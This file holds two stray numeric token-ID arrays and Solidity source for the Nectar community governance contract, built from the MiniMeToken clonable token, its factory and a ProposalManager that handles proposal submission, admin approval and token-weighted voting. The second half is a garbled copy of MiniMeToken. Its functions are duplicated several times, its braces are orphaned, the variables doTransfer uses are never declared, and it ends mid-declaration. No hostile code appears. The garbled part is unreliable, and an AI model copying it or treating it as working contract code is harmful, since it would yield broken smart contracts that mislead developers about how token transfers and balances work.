[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 389, 1896, 4188, 6275, 273, 261, 67, 4963, 3088, 1283, 380, 18478, 13, 342, 4336, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.21; /* Nectar Community Governance Proposals Contract, deployed 18/03/18 */ /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyController { controller = _newController; } } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) public payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = 'MMT_0.2'; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0 return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer throws uint previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain emit NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* Copyright 2018, Nikola Klipa @ Decenter */ /// @title ProposalManager Contract /// @author Nikola Klipa @ Decenter contract ProposalManager is Ownable { address constant NECTAR_TOKEN = 0xCc80C051057B774cD75067Dc48f8987C4Eb97A5e; address constant TOKEN_FACTORY = 0x003ea7f54b6Dcf6cEE86986EdC18143A35F15505; uint constant MIN_PROPOSAL_DURATION = 7; uint constant MAX_PROPOSAL_DURATION = 45; struct Proposal { address proposer; uint startBlock; uint startTime; uint duration; address token; bytes32 storageHash; bool approved; uint yesVotes; uint noVotes; bool denied; } Proposal[] proposals; MiniMeTokenFactory public tokenFactory; address nectarToken; mapping(address => bool) admins; modifier onlyAdmins() { require(isAdmin(msg.sender)); _; } function ProposalManager() public { tokenFactory = MiniMeTokenFactory(TOKEN_FACTORY); nectarToken = NECTAR_TOKEN; admins[msg.sender] = true; } /// @notice Add new proposal and put it in list to be approved /// @param _duration Duration of proposal in days after it is approved /// @param _storageHash Hash to text of proposal /// @return Created proposal id function addProposal( uint _duration, // number of days bytes32 _storageHash) public returns (uint _proposalId) { require(_duration >= MIN_PROPOSAL_DURATION); require(_duration <= MAX_PROPOSAL_DURATION); uint amount = MiniMeToken(nectarToken).balanceOf(msg.sender); require(amount > 0); // user can't submit proposal if doesn't own any tokens _proposalId = proposals.length; proposals.length++; Proposal storage p = proposals[_proposalId]; p.storageHash = _storageHash; p.duration = _duration * (1 days); p.proposer = msg.sender; emit NewProposal(_proposalId, _duration, _storageHash); } /// @notice Admins are able to approve proposal that someone submitted /// @param _proposalId Id of proposal that admin approves function approveProposal(uint _proposalId) public onlyAdmins { require(proposals.length > _proposalId); require(!proposals[_proposalId].denied); Proposal storage p = proposals[_proposalId]; // if not checked, admin is able to restart proposal require(!p.approved); p.token = tokenFactory.createCloneToken( nectarToken, getBlockNumber(), appendUintToString("NectarProposal-", _proposalId), MiniMeToken(nectarToken).decimals(), appendUintToString("NP-", _proposalId), true); p.approved = true; p.startTime = now; p.startBlock = getBlockNumber(); emit Approved(_proposalId); } /// @notice Vote for specific proposal with yes or no /// @param _proposalId Id of proposal that we user is voting for /// @param _yes True if user is voting for yes and false if no function vote(uint _proposalId, bool _yes) public { require(_proposalId < proposals.length); require(checkIfCurrentlyActive(_proposalId)); Proposal memory p = proposals[_proposalId]; uint amount = MiniMeToken(p.token).balanceOf(msg.sender); require(amount > 0); require(MiniMeToken(p.token).transferFrom(msg.sender, address(this), amount)); if (_yes) { proposals[_proposalId].yesVotes += amount; }else { proposals[_proposalId].noVotes += amount; } emit Vote(_proposalId, msg.sender, _yes, amount); } /// @notice Any admin is able to add new admin /// @param _newAdmin Address of new admin function addAdmin(address _newAdmin) public onlyAdmins { admins[_newAdmin] = true; } /// @notice Only owner is able to remove admin /// @param _admin Address of current admin function removeAdmin(address _admin) public onlyOwner { admins[_admin] = false; } /// @notice Get data about specific proposal /// @param _proposalId Id of proposal function proposal(uint _proposalId) public view returns( address _proposer, uint _startBlock, uint _startTime, uint _duration, bytes32 _storageHash, bool _active, bool _finalized, uint _totalYes, uint _totalNo, address _token, bool _approved, bool _denied, bool _hasBalance ) { require(_proposalId < proposals.length); Proposal memory p = proposals[_proposalId]; _proposer = p.proposer; _startBlock = p.startBlock; _startTime = p.startTime; _duration = p.duration; _storageHash = p.storageHash; _finalized = (_startTime+_duration < now); _active = !_finalized && (p.startBlock < getBlockNumber()) && p.approved; _totalYes = p.yesVotes; _totalNo = p.noVotes; _token = p.token; _approved = p.approved; _denied = p.denied; _hasBalance = (p.token == 0x0) ? false : (MiniMeToken(p.token).balanceOf(msg.sender) > 0); } function denyProposal(uint _proposalId) public onlyAdmins { require(!proposals[_proposalId].approved); proposals[_proposalId].denied = true; } /// @notice Get all not approved proposals /// @dev looping two times through array so we can make array with exact count /// because of Solidity limitation to make dynamic array in memory function getNotApprovedProposals() public view returns(uint[]) { uint count = 0; for (uint i=0; i<proposals.length; i++) { if (!proposals[i].approved && !proposals[i].denied) { count++; } } uint[] memory notApprovedProposals = new uint[](count); count = 0; for (i=0; i<proposals.length; i++) { if (!proposals[i].approved && !proposals[i].denied) { notApprovedProposals[count] = i; count++; } } return notApprovedProposals; } /// @notice Get all approved proposals /// @dev looping two times through array so we can make array with exact count /// because of Solidity limitation to make dynamic array in memory function getApprovedProposals() public view returns(uint[]) { uint count = 0; for (uint i=0; i<proposals.length; i++) { if (proposals[i].approved && !proposals[i].denied) { count++; } } uint[] memory approvedProposals = new uint[](count); count = 0; for (i=0; i<proposals.length; i++) { if (proposals[i].approved && !proposals[i].denied) { approvedProposals[count] = i; count++; } } return approvedProposals; } /// @notice Get all active proposals /// @dev looping two times through array so we can make array with exact count /// because of Solidity limitation to make dynamic array in memory function getActiveProposals() public view returns(uint[]) { uint count = 0; for (uint i=0; i<proposals.length; i++) { if (checkIfCurrentlyActive(i)) { count++; } } uint[] memory activeProposals = new uint[](count); count = 0; for (i=0; i<proposals.length; i++) { if (checkIfCurrentlyActive(i)) { activeProposals[count] = i; count++; } } return activeProposals; } function appendUintToString(string inStr, uint v) private pure returns (string str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; if (v==0) { reversed[i++] = byte(48); } else { while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(48 + remainder); } } bytes memory inStrb = bytes(inStr); bytes memory s = new bytes(inStrb.length + i); uint j; for (j = 0; j < inStrb.length; j++) { s[j] = inStrb[j]; } for (j = 0; j < i; j++) { s[j + inStrb.length] = reversed[i - 1 - j]; } str = string(s); } function nProposals() public view returns(uint) { return proposals.length; } function isAdmin(address _admin) public view returns(bool) { return admins[_admin]; } function checkIfCurrentlyActive(uint _proposalId) private view returns(bool) { Proposal memory p = proposals[_proposalId]; return (p.startTime + p.duration > now && p.startTime < now && p.approved && !p.denied); } function proxyPayment(address ) public payable returns(bool) { return false; } function onTransfer(address , address , uint ) public pure returns(bool) { return true; } function onApprove(address , address , uint ) public pure returns(bool) { return true; } function getBlockNumber() internal constant returns (uint) { return block.number; } event Vote(uint indexed idProposal, address indexed _voter, bool yes, uint amount); event Approved(uint indexed idProposal); event NewProposal(uint indexed idProposal, uint duration, bytes32 storageHash); }
@dev The actual token contract, the default controller is the msg.sender that deploys the contract, so usually this token will be deployed by a token controller contract, which Giveth will call a "Campaign"
contract MiniMeToken is Controlled { struct Checkpoint { uint128 fromBlock; uint128 value; } MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { return; } require(parentSnapShotBlock < block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { return; } require(parentSnapShotBlock < block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); } require((_to != 0) && (_to != address(this))); uint previousBalanceFrom = balanceOfAt(_from, block.number); function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { return; } require(parentSnapShotBlock < block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_to], previousBalanceTo + _amount); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); uint previousBalanceTo = balanceOfAt(_to, block.number); emit Transfer(_from, _to, _amount); function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(balances[_owner], _blockNumber); } } } else { } else { function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); return 0; } return getValueAt(totalSupplyHistory, _blockNumber); } } } else { } else { function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); emit NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns 